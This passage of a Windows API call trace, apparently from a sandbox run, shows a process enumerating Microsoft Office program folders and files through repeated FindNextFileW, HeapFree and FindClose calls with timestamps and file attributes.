cAlternateFileName="")) returned 1 [0065.856] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0065.856] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1 [0065.858] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0065.858] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1 [0065.863] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0065.863] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 0 [0065.863] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0065.863] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0065.863] FindNextFileW (in: hFindFile=0x4260440, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c5a96a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c5a96a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9d4a250, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x163c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UmOutlookAddin.dll", cAlternateFileName="UMOUTL~1.DLL")) returned 1 [0065.863] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0065.865] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b680, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AdeModule.dll", cAlternateFileName="ADEMOD~1.DLL")) returned 1 [0065.983] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0065.984] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Style", cAlternateFileName="")) returned 1 [0065.986] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0065.986] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Style", cAlternateFileName="")) returned 0 [0065.986] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0065.986] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0065.986] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17774bfd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17774bfd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BORDERS", cAlternateFileName="")) returned 1 [0065.990] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0065.990] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cf4318, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xf7e60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BSTORM.DLL", cAlternateFileName="")) returned 1 [0065.992] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0065.992] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c80c48, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c80c48, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca4703d4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ee58, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="CONTAB32.DLL", cAlternateFileName="")) returned 1 [0065.995] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0065.995] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6b60d2f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6b60d2f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6b60d2f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x90e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DELIMWIN.FAE", cAlternateFileName="")) returned 1 [0065.996] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0065.996] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5bd0a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="cpprest140_2_6.dll", cAlternateFileName="CPPRES~1.DLL")) returned 1 [0065.997] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0065.997] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0 [0065.997] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0065.997] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0065.997] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d9058b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0065.997] FindClose (in: hFindFile=0x4260240 | out: hFindFile=0x4260240) returned 1 [0065.997] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0065.998] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4d40834, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x17dec0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1 [0066.007] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0066.008] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb548de7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff0bc27, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0066.008] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0066.008] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0066.008] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4dd9107, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x15f450, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GANTT.DLL", cAlternateFileName="")) returned 1 [0066.010] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0066.010] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b0f9971, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ManagedObjects", cAlternateFileName="MANAGE~1")) returned 1 [0066.013] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0066.013] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18681a5c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Servers", cAlternateFileName="")) returned 1 [0066.013] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0066.013] FindNextFileW (in: hFindFile=0x4260240, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18681a5c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Servers", cAlternateFileName="")) returned 0 [0066.013] FindClose (in: hFindFile=0x4260240 | out: hFindFile=0x4260240) returned 1 [0066.013] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0066.013] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1865b8d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 1 [0066.015] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0066.016] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1865b8d4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Components", cAlternateFileName="COMPON~1")) returned 0 [0066.016] FindClose (in: hFindFile=0x4260740 | out: hFindFile=0x4260740) returned 1 [0066.016] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0066.016] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1865b8d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 0 [0066.016] FindClose (in: hFindFile=0x4260800 | out: hFindFile=0x4260800) returned 1 [0066.016] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0066.016] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18681a5c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18ad3e4a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ad3e4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sounds", cAlternateFileName="")) returned 1 [0066.018] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0066.018] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1907d846, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1907d846, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Places", cAlternateFileName="")) returned 1 [0066.751] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0066.752] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1bc991c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1bc991c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 1 [0066.756] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0066.756] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1bc991c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1bc991c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 0 [0066.756] FindClose (in: hFindFile=0x4260740 | out: hFindFile=0x4260740) returned 1 [0066.757] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0066.759] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1907d846, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b6c9560, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolBMPs", cAlternateFileName="")) returned 1 [0066.763] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0066.763] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197a4903, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolData", cAlternateFileName="")) returned 1 [0066.769] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x443bff8 | out: hHeap=0x6a0000) returned 1 [0066.769] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 1 [0066.770] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x443bff8 | out: hHeap=0x6a0000) returned 1 [0066.770] FindNextFileW (in: hFindFile=0x4260140, lpFindFileData=0x328eb94 | out: lpFindFileData=0x328eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 0 [0066.770] FindClose (in: hFindFile=0x4260140 | out: hFindFile=0x4260140) returned 1 [0066.771] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442bff0 | out: hHeap=0x6a0000) returned 1 [0066.771] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1983d259, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1983d259, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 0 [0066.771] FindClose (in: hFindFile=0x4260740 | out: hFindFile=0x4260740) returned 1 [0066.771] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0066.771] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 1 [0066.776] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0066.776] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 0 [0066.776] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0066.776] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0066.777] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdd36584, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdf403dbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdf58154c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf370c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GROOVE.EXE", cAlternateFileName="")) returned 1 [0066.782] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0066.783] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5fbe0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EUROTOOL.XLAM", cAlternateFileName="EUROTO~1.XLA")) returned 1 [0066.783] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0066.783] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SOLVER", cAlternateFileName="")) returned 0 [0066.783] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0066.783] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0066.784] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1b27715c, 